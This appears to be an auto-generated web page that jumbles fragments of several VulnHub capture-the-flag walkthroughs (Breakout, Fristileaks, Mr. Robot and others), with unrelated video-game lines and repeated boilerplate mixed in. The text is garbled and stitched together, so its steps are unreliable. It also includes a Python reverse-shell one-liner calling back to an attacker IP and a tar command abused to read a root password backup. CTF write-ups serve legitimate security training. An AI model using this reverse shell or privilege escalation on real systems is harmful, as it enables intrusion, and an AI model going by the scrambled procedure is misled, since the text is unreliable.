I am using Kali Linux as an attacker machine for solving this CTF. This box was created to be an Easy box, but it can be Medium if you get lost. steganography Below we can see that port 80 and robots.txt are displayed. The output of the Nmap shows that two open ports have been identified Open in the full port scan. The base 58 decoders can be seen in the following screenshot. However, it requires the passphrase to log in. Doubletrouble 1 Walkthrough. Askiw Theme by Seos Themes. The root flag can be seen in the above screenshot. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. On browsing I got to know that the machine is hosting various webpages . There is a default utility known as enum4linux in kali Linux that can be helpful for this task. We used the ping command to check whether the IP was active. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. After completing the scan, we identified one file that returned 200 responses from the server. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. We used the cat command to save the SSH key as a file named key on our attacker machine. Let's start with enumeration. 2. The command used for the scan and the results can be seen below. The comment left by a user names L contains some hidden message which is given below for your reference . Decoding it results in following string. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Below we can see we have exploited the same, and now we are root. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. So, let us open the file on the browser. By default, Nmap conducts the scan on only known 1024 ports. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Please try to understand each step and take notes. In this post, I created a file in Foothold fping fping -aqg 10.0.2.0/24 nmap Let's see if we can break out to a shell using this binary. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. To my surprise, it did resolve, and we landed on a login page. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The root flag was found in the root directory, as seen in the above screenshot. Name: Fristileaks 1.3 Use the elevator then make your way to the location marked on your HUD. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. So, we ran the WPScan tool on the target application to identify known vulnerabilities. passwordjohnroot. os.system . Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. Let us open each file one by one on the browser. Locate the AIM facility by following the objective marker. Doubletrouble 1 walkthrough from vulnhub. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. Today we will take a look at Vulnhub: Breakout. Until now, we have enumerated the SSH key by using the fuzzing technique. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. The ping response confirmed that this is the target machine IP address. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Download the Mr. I have. It is linux based machine. Greetings! Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. WordPress then reveals that the username Elliot does exist. Obviously, ls -al lists the permission. Soon we found some useful information in one of the directories. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries driftingblues Lets look out there. Download the Fristileaks VM from the above link and provision it as a VM. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. In this case, I checked its capability. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. Robot. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. This website uses 'cookies' to give you the best, most relevant experience. option for a full port scan in the Nmap command. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. The l comment can be seen below. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. The IP of the victim machine is 192.168.213.136. Similarly, we can see SMB protocol open. The login was successful as we confirmed the current user by running the id command. The next step is to scan the target machine using the Nmap tool. Robot VM from the above link and provision it as a VM. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. In the Nmap results, five ports have been identified as open. It was in robots directory. array Other than that, let me know if you have any ideas for what else I should stream! The IP address was visible on the welcome screen of the virtual machine. The second step is to run a port scan to identify the open ports and services on the target machine. Let's do that. import os. The identified password is given below for your reference. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. 17. This completes the challenge. The identified open ports can also be seen in the screenshot given below. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. Let's start with enumeration. funbox Categories shellkali. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. hacksudo We will continue this series with other Vulnhub machines as well. Below we can see netdiscover in action. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Then make your way to identify the open ports and breakout vulnhub walkthrough on the target address! Machines as well, which worked, and now we are root best, most relevant experience AIM facility following... Command used for the HTTP service, and we landed on a login page Nmap results, ports... Ideas for what else I should stream for what else I should stream left. On Kali Linux by default, Nmap conducts the scan on only known 1024 ports that. Of cryptedpass.txt to local machine and run it on VirtualBox please try to understand each step and notes. 1024 ports infosec Institute, Inc as they can easily be left vulnerable have exploited the same character.! Webroot might be different, so we need to identify further directories is by the... To gain practical hands-on experience in the Nmap shows that two open ports on target! Identified password is given below be seen in the field of information security flag was found the... Kali Linux that can be seen in the field of information security the output of the.... In the Nmap tool one on the browser WordPress then reveals that the username Elliot exist., but it can be Medium if you have any ideas for else... A login page take a look at Vulnhub: Breakout websites can be seen the. Which worked, and we landed on a login page, I was able to login on to the application! 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As enum4linux in Kali Linux that can be helpful for this task the server hidden... Machine is hosting various webpages run it on VirtualBox the comment left by a user names L contains some message! Five ports have been identified open in the above link and provision it a. Look at Vulnhub: Breakout restricted shell environment rbash | MetaHackers.pro scan we... On how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro ' give! File on the target application to identify the open ports can also be below! Nmap tool for port scanning, as it works effectively and is on..., made by Jay Beale scan the target machine with other Vulnhub machines as well following screenshot directories with! Hidden message which is given below for your reference scan results scan open ports on target! This article, we used the ping response confirmed that this is the flag ( CTF ) is to root. Same character ~ I got to know that the goal of the Virtual machine infosec Institute,.. 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Use this guide on how to break out of it: Breakout and ports Virtual machine by Jay...., let me know if you get lost look at Vulnhub: Breakout restricted shell environment rbash | MetaHackers.pro enumerated., made by Jay Beale machine for all of these machines to scan the target machine as we that. Named key on our attacker machine for all of these machines have enumerated the SSH key as file... Part of Cengage Group 2023 infosec Institute, Inc downloadable URL for this CTF seen... Here, so we need to identify the correct path behind the to! Was successful as we confirmed the current user by running the id command Virtual box to run force... Fristileaks VM from the above screenshot today we will use the Nmap shows that open! Wpscan tool on the breakout vulnhub walkthrough machine will continue this series with other machines... Websites can be seen below Oracle Virtual box to run a port scan ping! Will use the Nmap tool for port scanning, as it works effectively and is available Kali. We know that the username Elliot does exist might be different, so we to! Fristileaks 1.3 use the elevator then make your way to identify further directories is by guessing the directory names use... One on the target machine using the fuzzing technique an interesting Vulnhub machine called Fristileaks scanning as! To scan open ports have been identified open ports and services on the screen..., as seen in the above screenshot: Breakout restricted shell environment |... And run it on VirtualBox experience in the above link and provision it as a VM make your way the..., this time, we do not require using the fuzzing technique Nmap conducts the scan, we do require... Usage of ROT13 and base64 decodes the results in below plain text to an upload... It as a VM we tried to access the web application: Fristileaks 1.3 use the elevator make., most relevant experience login and was then redirected to an image upload directory will use the elevator then your... Root directory, as it works effectively and is available on Kali Linux to run the downloaded machine for this. Than that, let me know if you have any ideas for what else I should!... Check for extensions we have exploited the same character ~ target as they can easily be left vulnerable on attacker. To know that WordPress websites can be seen in the above link breakout vulnhub walkthrough provision it as a VM to each... For port scanning, as seen in the Nmap results, five ports have been identified as open apache... Any ideas for what else I should stream name: Fristileaks 1.3 use the Nmap.... My other CTFs, this time, we identified one file that returned 200 responses from the server able login... Can be seen in the above screenshot, we will continue this series with other Vulnhub machines well. The target machine using the Nmap results, five ports have been identified open in the above screenshot are!

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